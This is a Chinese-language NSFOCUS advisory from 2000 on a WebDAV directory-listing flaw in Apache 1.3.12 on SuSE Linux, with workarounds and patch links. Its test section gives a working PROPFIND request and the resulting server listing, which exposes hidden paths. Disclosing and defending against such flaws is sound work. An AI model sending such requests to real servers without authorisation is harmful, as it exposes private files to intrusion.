安全研究

安全漏洞
SuSE Apache WebDAV目录列表的漏洞

发布日期:2000-09-11
更新日期:2000-09-11

受影响系统:

Apache Group Apache 1.3.12
    S.u.S.E. Linux 7.0
    S.u.S.E. Linux 6.4
    S.u.S.E. Linux 6.3
    S.u.S.E. Linux 6.2
    S.u.S.E. Linux 6.1
    S.u.S.E. Linux 6.0
描述:

WebDAV(Web Distributed Authoring and Versioning)是一种HTTP扩展,它允许用户通过HTTP
协议创建、编辑和共享文档。一个特殊的REQUEST METHOD和PROPFIND命令将允许用户获得资源的属
性,比如显示名称、上次修改的日期和其它属性。安装在SuSE 6.4上的Apache Web服务器默认情况
下开放了对服务器上的整个文件结构的WebDAV权限。通过给Apache Web服务器发送一个特殊的、适
当构造的请求,可以获得相当于目录列表的信息。

<* 来源:mnemonix (dlitchfield@atstake.com) *>




测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

给Web服务器发送类似如下的请求将会输出目录信息:

suse~: # telnet 127.0.0.1 80
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
PROPFIND / HTTP/1.1
Host: suse
Content-Type: text/xml
Content-Length: 110

<?xml version="1.0"?>
<a:propfind xmlns:a="DAV:">
<a:prop>
<a:displayname/>
</a:prop>
</a:propfind>

HTTP/1.1 207 Multi-Status
Date: Sun, 20 Aug 2000 17:38:58 GMT
Server: Apache/1.3.12 (Unix) (SuSE/Linux) mod_fastcgi/2.2.2 DAV/0.9.14
mod_perl/1.21 PHP/3.0.15
Transfer-Encoding: chunked
Content-Type: text/xml; charset="utf-8"

dc1
<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:">
<D:response>
<D:href>/secret/secret/sql_tool.shtml</D:href>
<D:propstat>
<D:prop>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
<D:response>
<D:href>/secret/secret/change-passwd.shtml</D:href>
<D:propstat>
<D:prop>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
<D:response>
<D:href>/secret/secret/add-user.shmtl</D:href>
<D:propstat>
<D:prop>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
<D:response>
<D:href>/secret/secret/</D:href>
<D:propstat>
<D:prop>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
<D:response>
<D:href>/secret/</D:href>
<D:propstat>
<D:prop>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
<D:response>
<D:href>/webalizer/</D:href>
<D:propstat>
<D:prop>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
<D:response>
<D:href>/test.php3</D:href>
<D:propstat>
<D:prop>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
<D:response>
<D:href>/date.php3</D:href>
<D:propstat>
<D:prop>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
<D:response>
<D:href>/linbot/</D:href>
<D:propstat>
<D:prop>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
<D:response>
<D:href>/robot_s.txt</D:href>
<D:propstat>
<D:prop>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
<D:response>
<D:href>/index.html</D:href>
<D:propstat>
<D:prop>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
<D:response>
<D:href>/gif/u_arrow.gif</D:href>
<D:propstat>
<D:prop>
</D:prop>
..


建议:
临时解决办法:

NSFOCUS建议您修改Apache的配置文件。
对于你想开放WebDAV权限的每个目录,在httpd.conf文件中为其添加下面的配置项:
<Directory /webdav/directory/goes/here>
#add other directives as needed such as Order allow,deny
<IfDefine DAV>
DAV On
</IfDefine>
</Directory>
然后停止并重启Apache。

如果要完全禁止WebDAV,在httpd.conf中找到如下的配置项:
<IfDefine DAV>
DAV On
</IfDefine>
把On改成Off。
默认情况下只有/usr/local/httpd/htdocs目录具有IfDefine DAV指示,其它带有这个指示的目录的配置也需要修改。
停止并重启Apache。

如果想在启动Apache的时候不加载WebDAV模块,修改/etc/rc.d/rc3.d/S20apache文件,注释掉下面的一行:
test -e /usr/lib/apache/libdav.so && MODULES="-D DAV $MODULES"
这样下次启动Apache的时候就不会包含WebDAV模块。

厂商补丁:
厂商补丁:

S.u.S.E. Linux 7.0:

sparc:
ftp://ftp.suse.com/pub/suse/sparc/update/7.0/n1/apache-1.3.12-109.sparc.rpm

i386:
ftp://ftp.suse.com/pub/suse/i386/update/7.0/n1/apache-1.3.12-107.i386.rpm

S.u.S.E. Linux 6.4:

i386:
ftp://ftp.suse.com/pub/suse/i386/update/6.4/n1/apache-1.3.12-107.i386.rpm

alpha:
ftp://ftp.suse.com/pub/suse/axp/update/6.4/n1/

ppc
ftp://ftp.suse.com/pub/suse/ppc/update/6.4/n1/apache-1.3.12-108.ppc.rpm

S.u.S.E. Linux 6.3:

i386:
ftp://ftp.suse.com/pub/suse/i386/update/6.3/n1/apache-1.3.9-70.i386.rpm

alpha:
ftp://ftp.suse.com/pub/suse/axp/update/6.3/n1/

ppc:
ftp://ftp.suse.com/pub/suse/ppc/update/6.3/n1/
S.u.S.E. Linux 6.2:

i386:
ftp://ftp.suse.com/pub/suse/i386/update/6.2/n1/apache-1.3.6-52.i386.rpm

S.u.S.E. Linux 6.1:
S.u.S.E. Linux 6.0:

i386:
ftp://ftp.suse.com/pub/suse/i386/update/6.1/n1/apache-1.3.6-53.i386.rpm

alpha:
ftp://ftp.suse.com/pub/suse/axp/update/6.1/n1/apache-1.3.6-43.alpha.rpm

浏览次数:8709
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障